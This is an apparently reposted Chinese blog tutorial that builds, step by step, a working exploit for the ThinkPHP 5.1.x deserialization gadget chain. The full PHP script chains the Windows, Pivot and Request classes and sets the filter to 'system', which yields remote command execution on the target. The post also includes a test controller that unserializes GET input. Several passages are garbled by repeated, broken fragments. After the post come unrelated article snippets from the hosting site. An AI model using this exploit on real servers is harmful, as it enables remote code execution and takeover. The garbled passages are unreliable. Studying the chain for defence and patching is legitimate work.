TP5反序列化利用链

news2024/11/16 9:21:14

说明

该文章来源于同事lu2ker转载至此处,更多文章可参考:https://github.com/lu2ker/

文章目录

  • 说明
  • TP5反序列化利用链
    • 下图是Mochazz 大佬画的非常优雅的一张调用链图
    • Action!
    • CUT!

TP5反序列化利用链

本文以第二人称视角重点谈谈给你了反序列化的利用链你该怎么写exp。

文章很长,当故事看即可。

漏洞版本为 ThinkPHP 5.1.X

下图是Mochazz 大佬画的非常优雅的一张调用链图

在这里插入图片描述

如果说之前了解过PHP反序列(重点知识)的基础知识(入门知识),那么一眼就能明白这条链的起点-跳板-终点是什么。

以析构函数为起点开始调用;以__toString方法为跳板寻找主链;最终调用到Request类的filterValue方法中的call_user_func来执行命令。

假设某大佬挖到了这个反序列化漏洞利用链并告诉了关系比较菜的你,但又不给你exp。于是你想方设法来自己写exp。

Action!

你自己下了一套源码,开始各种跟进…

首先是Windows类,直接全局搜索即可找到这个类,它继承了一个抽象类Pipes,学过一点PHP反序列化的你知道 要用到的类一定要写对了,毕竟反序列化的时候可是真正的去调用它的。但是看了看这个反序列化链中用到的Windows类里并没有用到其父类抽象类Pipes的内容,所以这个继承对于你构造exp来说是没有意义的。

细心的你看到了在removeFiles方法中用到了$this->files这个类内成员变量。想起来成员变量的类型也要于原程序保持一致,缓缓写下:

class Windows
{
    private $files = [];
    function __construct()
    {
        $this->files = [];
    }
}

$this->files应该给个什么呢?你接着往下看链子,该__toString了。

结合file_exists()函数的使用让你想起来,file_exists的参数应该是一个字符串,而当类的对象被当作字符串使用的时候,会自动调用类的__toString方法,你恍然大悟原来$this->files是给了一个类的实例化对象。那么是哪个类呢?你注意到这个类是在thinkphp\library\think\model\concern\Conversion.php文件里赶紧跟过去了,结果发现他是一个trait,你知道trait的作用为了代码复用,可被其他代码使用的代码块,无法通过 trait 自身来实例化。

然后你理所当然的去找Conversion的调用了,查看引用发现只有一处调用了这个trait:thinkphp\library\think\Model.php,但是它tnd是abstract class Model(抽象类)抽象类也是无法实例化的,于是你又去找它的引用:

在这里插入图片描述

好多的引用顿时让你有点头大,你不会想一个一个去看的。想了一会儿你灵光一现,想起来没必要这么麻烦,因为你只想找Model的子类,而不需要找use Model!于是全局搜索:
在这里插入图片描述

这不就好起来了?于是你给自己的payload补充上:(命名空间就用原程序的)

namespace think\model;
use think\Model;
class Pivot extends Model{
}

细心的你不会忽略了use think\Model,那么Model这个抽象类也得声明一下:

namespace think;
abstract class Model{
}

顺便再给Windows类里的$this->files赋值了,然后你得到了这个:

namespace think;
abstract class Model{
}
namespace think\process\pipes;
use think\Model\Pivot;
class Windows
{
    private $files = [];
    function __construct()
    {
        $this->files = [new Pivot()];
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}

行了,现在能调用到__toString了,你接着往下看调用链。快速回到[调用链图](#下图是Mochazz 大佬画的非常优雅的一张调用链图)。

看到了toArray的192行。看图里意思应该是可以调用任意类的visible方法,可是它接下来没有再提到调用了visible的什么,而是转到了Request的__call方法,你知道__call方法是在在对象中调用一个不可访问方法时会被调用。 而分析过Request类的你知道它并没有visible这个方法,所以如果让$relation=new Request()的话是符合这个调用链的逻辑的。

那么就来看看$relation是从哪儿来的:
在这里插入图片描述

经过一番思索,你知道了 t h i s − > a p p e n d 是声明过的成员变量,它不能为空才能走到想要执行的代码,所以你知道它需要在你的 e x p 里面定义一下了。同时, this->append是声明过的成员变量,它不能为空才能走到想要执行的代码,所以你知道它需要在你的exp里面定义一下了。同时, this>append是声明过的成员变量,它不能为空才能走到想要执行的代码,所以你知道它需要在你的exp里面定义一下了。同时,this->append是个数组,而且它的元素的键和值都有用,不能随便给,比如这个 n a m e 就得是个数组,于是有: ‘ name就得是个数组,于是有:` name就得是个数组,于是有:this->append = [‘xxxxx’ => []];`,然后你专心地来看$relation的获取方式。

这个时候你死活找不到getRelation的函数定义,于是就下了断点,用不成熟的exp先生成一个exp跑一下看看。。。

只需在刚才写好的半成品exp下面添加,执行即可

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

#记得在Model类里补充上$this->append = ['xxxxx' => []];

再在index.php里面写一个简单的控制器触发反序列化:

<?php
namespace app\index\controller;
class Index
{
    public function index()
    {
        $b = base64_decode($_GET['c']);
        $u = unserialize($b);
        return 'hhh';
    }
    public function hello($name = 'ThinkPHP5')
    {
        return 'hello,' . $name;
    }
}

经过了单步调试,你找到了thinkphp\library\think\model\concern\RelationShip.php#getRelation是要调用的方法。(当然也可以全局搜索,看看搜索结果里面有没有被Model use的也很容易找到。)

在这里插入图片描述

具有一定代码功底的你毫不费力的知道这个方法最终返回了空,单步跟一下也能发现array_key_exists个判断不成立,你自始至终就没看到过哪里初始化了这里的relation变量。所以,if (!$relation) 成立,你回过头来去找getArray。

在thinkphp\library\think\model\concern\Attribute.php#472找到了之后,又到了265行的getData方法中。

在这里插入图片描述

你注意到在这里你需要让它成立,不然程序就要报错了。目前所在的这个Attribute也只是一个trait,所以直接在Model类里初始化data变量就好,再结合array_key_exists传入的第一个参数也是 n a m e (即刚才的 name(即刚才的 name(即刚才的key,也就是$this->append = ['xxxxx' => []];里面的xxxxx),所以data也得赋值成['xxxxx' => ''],来确保这里的elseif成功进入。

你还注意到这里return的是 t h i s − > d a t a [ this->data[ this>data[name],所以data数组里的value的位置就是你一直在找的$relation的来源。而且根据调用链图的步骤,这里的value应该是new Request()。这样就满足了任意类->visible()来触发__call了。综上,你完善了exp中Model类的主体:

abstract class Model{
    private $data = [];
    protected $append = [];
    public function __construct()
    {
        $this->data = ['xxxxx' => new Request()];
        $this->append = ['xxxxx' => []];				# 这俩数组的key要保持一致
    }
}

(在这里可能有一个小疑问,总感觉缺了点什么?getAttr方法中在调用getData获取了value后还有很多的代码为什么不需要再看一看呢?万一value在之后的代码中又被修改了呢?关于这个小问题,自己上手调一下便知。这也是反序列化漏洞的一点小魅力:在需要用到的类里只对有用的变量进行操作)PS:这段是胡扯,别把你误导了!

现在,就到了大佬给你的调用链的最后一步了,Request类。再来看一眼这优雅的链图

在这里插入图片描述

call里面用到了 t h i n k − > h o o k ,并告诉你了要去调用的是 i s A j a x ,你知道 think->hook,并告诉你了要去调用的是isAjax,你知道 think>hook,并告诉你了要去调用的是isAjax,你知道method必须是visible才能正确的调用__call魔术方法,然后你就有了:$this->hook = ['visible' => [$this, 'isAjax']];,也就是在找不到visible方法时去调用本类的isAjax方法。而isAjax中用到的方法是param方法,并传入了$this->config['var_ajax'],这也是一个可控值,并会传入input方法,熟知input方法中会调用filterValue这个tp自带的RCE触发点,并且它还需要$this->filter这个成员变量的值作为call_user-func中调用的函数,流程清晰了之后你根据链条中的调用位置,开始构造一些必须的值。

你大致看了一下param函数主体就是获取请求传入的参数的,于是就直接去看input方法了。

在这里插入图片描述

在input方法中,存在if (false === $name) 和 if (‘’ != n a m e ) 和 i f ( i s a r r a y ( name)和if (is_array( name)if(isarray(data))三个判断,第一个if如果成立的话会直接return掉,当然这不是你希望的结果,于是你灵机一动:让 n a m e 为 ‘ ′ ′ ‘ (空字符串)不就好了?这可是强等于!而第三个判断是你想进入的,也是一定会进入的。于是,你只需 ‘ name 为`''`(空字符串)不就好了?这可是强等于!而第三个判断是你想进入的,也是一定会进入的。于是,你只需` name′′(空字符串)不就好了?这可是强等于!而第三个判断是你想进入的,也是一定会进入的。于是,你只需this->config[‘var_ajax’] = ‘’`即可。

最后,再添加一个$this->filter = 'system';,就完事大吉啦!。最终你的Request类应该为:

class Request{
    protected $filter;
    protected $config = [];
    protected $hook = [];
    public function __construct()
    {
        $this->config['var_ajax'] = '';
        $this->hook = ['visible' => [$this, 'isAjax']];
        $this->filter = 'system';
    }
}

你可能会想?光能调用system了,不得传个参数进去?不然岂不是执行了个寂寞。

你当然没这么chun,你知道在param方法中会获取参数值的,get方式就行。

你最后完成了自己的exp:

<?php
namespace think;
abstract class Model{
    private $data = [];
    protected $append = [];
    public function __construct()
    {
        $this->data = ['xxxxx' => new Request()];
        $this->append = ['akey' => []];
    }
}

class Request{
    protected $filter;
    protected $config = [];
    protected $hook = [];
    public function __construct()
    {
        $this->config['var_ajax'] = '';
        $this->hook = ['visible' => [$this, 'isAjax']];
        $this->filter = 'system';
    }

}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    private $files = [];
    function __construct()
    {
        $this->files = [new Pivot()];
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

你最终弹出来了自己的计算器:

在这里插入图片描述

CUT!

以后不用直接要exp了,换成要链子了hhhhhhh

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/138185.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

max蒙皮动画+动作

首先关于max人物动画&#xff01;如何制作&#xff01; 首先&#xff01; 我们要准备一个模型&#xff01;人物的模型&#xff01; 这是一个人物模型&#xff01;obj的&#xff01;没有任何东西&#xff01;你也可以选择其他&#xff0c;我是从虚幻里面直接导出的&#xff0…

太卷了,华为某领导说招外包只要985!

你听说过华为od吗&#xff1f;od是outsourcing dispatch&#xff08;外包派遣&#xff09;的简称&#xff0c;虽然华为每年会挑选一部分优秀的od员工转为华为正编员工&#xff0c;但od本质上还是外包。最近一位华为员工爆料&#xff1a;太卷了&#xff01;领导说招od员工也要98…

玻纤效应对skew的影响(二)

玻纤效应对对内skew的影响 参数对对内Skew的影响 在一个差分对中&#xff0c;对内skew是由PN走线Dk的差异造成的。导致Dk有差异的原因有很多&#xff0c;例如走线位置&#xff0c;core和pp的玻璃束位置&#xff0c;走线宽度等等。但是这些因素影响角度也不同&#xff0c;下图…

应用程序已被Java 安全阻止-- 如何全局设置Java 控制面板参数

最近遇到一个客户问题&#xff0c;客户方存在一个使用场景为使用IE访问一个页面 之后通过点击页面的按钮调起一个applet程序&#xff0c;结果遇到了一个弹窗告警&#xff1a;应用程序已被Java安全阻止。 对于这个问题 解决方案有两个&#xff1a; 1.将访问的页面站点加入到例外…

BGP在数据中心的应用2——BGP如何适应数据中心网络

注&#xff1a; 本文根据《BGP in the Datacenter》整理&#xff0c;有兴趣和英文阅读能力的朋友可以直接看原文&#xff1a;https://www.oreilly.com/library/view/bgp-in-the/9781491983416/上一部分笔记请参考&#xff1a;https://blog.csdn.net/tushanpeipei/article/deta…

echarts中得一些使用技巧和方法

一、取数据的最大值&#xff1a; let maxNum maxData.sort((a, b) > b - a)[0]&#xff1b; 二、echarts 自适应 所有的echarts里面设置了字体根据最外层body的字体来改变大小 // app.vue中的代码 // 页面开始加载时修改font-size var html document.getElementsByTagN…

VGG详解

入门小菜鸟&#xff0c;希望像做笔记记录自己学的东西&#xff0c;也希望能帮助到同样入门的人&#xff0c;更希望大佬们帮忙纠错啦~侵权立删。 ✨完整代码在我的github上&#xff0c;有需要的朋友可以康康✨ https://github.com/tt-s-t/Deep-Learning.git 目录 一、VGG网络的…

小侃设计模式(二十)-迭代器模式

1.概述 迭代器模式&#xff08;Iterator Pattern&#xff09;提供了一种方法访问一个容器对象中各个元素&#xff0c;而又不暴露该对象的内部细节。迭代器模式用于访问集合中的元素而不需要知道集合底层的数据形式。在JAVA语言中&#xff0c;迭代器模式已经成为其中不可缺少的…

3000字13张图详细介绍RAID0、1、5、6、10、50、60,非常值得收藏!

RAID简述 RAID 是一种用于提高数据存储性能和可靠性的技术&#xff0c;英文全称&#xff1a;Redundant Array of Independent Disks&#xff0c;中文意思&#xff1a;独立磁盘冗余阵列。RAID 系统由两个或多个并行工作的驱动器组成&#xff0c;这些可以是硬盘或者 SSD&#xf…

力扣刷题记录——344.反转字符串、345.反转字符串中的元音、349.两个数组的交集

本专栏主要记录力扣的刷题记录&#xff0c;备战蓝桥杯&#xff0c;供复盘和优化算法使用&#xff0c;也希望给大家带来帮助&#xff0c;博主是算法小白&#xff0c;希望各位大佬不要见笑&#xff0c;今天要分享的是——《344.反转字符串、345.反转字符串中的元音、349.两个数组…

Jvm 系列(十二) JVM的执行引擎全面讲解

JVM 执行引擎 1、执行引擎概述 执行引擎是Java虚拟机核心的组成部分之一。 “虚拟机”是相对于“物理机”的概念&#xff0c;这两种机器都有代码执行能力&#xff0c;其区别是物理机的执行引擎是直接建立在处理机、缓存、指令集和操作系统层面上的&#xff0c;而虚拟机的执行…

国产直流马达驱动芯片SS6216的功能参数以及应用

直流有刷电机驱动芯片SS6216是为消费类产品&#xff0c;玩具和其他低压或者电池供电的运动控制类应用提供了一个集成的有刷电机驱动器解决方案。是为低电压下工作的系统而设计的直流电机驱动集成电路&#xff0c;单通道低导通电阻。具备电机正转/反转/停止/刹车四个功能。 直流…

STL剖析(二):容器底层数据结构及常见用法

一.概述 本文主要聚焦于STL容器&#xff0c;STL完整的容器分类体系如下所示&#xff0c;下文将逐一对各个容器底层的数据结构以及常见用法进行介绍。 测试环境&#xff1a;Ubuntu 22.04 g 11.3.0 二.顺序容器 顺序容器都对应着线性数据结构。 2.1 array array的使用需要引…

6.2 微服务-SpringBoot

目录 6.2.1 SpringBoot 6.2.1.1 什么是Spring Boot 6.2.1.2 SpringBoot的特点 6.2.2 快速入门 6.2.2.1 创建工程 6.2.2.2 引入依赖 6.2.2.3 启动类 6.2.2.4 controller 6.2.2.5 测试 6.2.3 注解与属性注入 6.2.3.1 注解 6.2.3.1.1 EnableAutoConfiguration 6.2.3.1…

leetcode 240. 搜索二维矩阵 II-java题解

题目所属分类 从右上角出发往下遍历 倒是也可以二分 原题链接 编写一个高效的算法来搜索 m x n 矩阵 matrix 中的一个目标值 target 。该矩阵具有以下特性&#xff1a; 每行的元素从左到右升序排列。 每列的元素从上到下升序排列。 代码案例&#xff1a; 输入&#xff1a;m…

加解密与HTTPS(4)

您好&#xff0c;我是湘王&#xff0c;这是我的CSDN博客&#xff0c;欢迎您来&#xff0c;欢迎您再来&#xff5e; 在互联网应用中&#xff0c;安全性问题已经越来越突出。从DDoS攻击、矿机劫持、乌云事件&#xff08;白帽子变成黑帽子&#xff09;&#xff0c;到窃听、偷拍、强…

Word控件Spire.Doc 【Table】教程(1):在 Word 中创建表格-C#VB.NET

Spire.Doc for .NET是一款专门对 Word 文档进行操作的 .NET 类库。在于帮助开发人员无需安装 Microsoft Word情况下&#xff0c;轻松快捷高效地创建、编辑、转换和打印 Microsoft Word 文档。拥有近10年专业开发经验Spire系列办公文档开发工具&#xff0c;专注于创建、编辑、转…

spring源码-资源资源加载器

Spring资源抽象Resource Spring对各种底层资源,比如文件系统中的一个文件&#xff0c;classpath上的一个文件&#xff0c;或者一个网络URL&#xff0c;统一抽象为接口Resource来表示 因为每个底层文件都可以以一个只读InputStream的方式打开&#xff0c;所以Resource接口继承…

ModuleNotFoundError: No module named ‘cs231n‘

在colab上完成cs231n的作业时发现&#xff0c;报了No module named cs231n’这个错误&#xff0c;查询后也没有找到合适的答案 仔细检查&#xff0c;发现是没有找到assignment1下的cs231n文件夹&#xff0c;然后去网站核对视频教程&#xff0c;发现没有搞错&#xff0c;视频中…

浮点数的储存

浮点数的储存一.浮点数的三段式&#xff08;S,E,M&#xff09;1.如何放入2.如何取出二.为什么浮点数不能直接比较三.解释第一个问题我们都知道整形在内存中是按照补码的形式储存的&#xff0c;但是浮点数的储存却和整数的截然不同&#xff0c;浮点数没有所谓是原反补并且浮点数…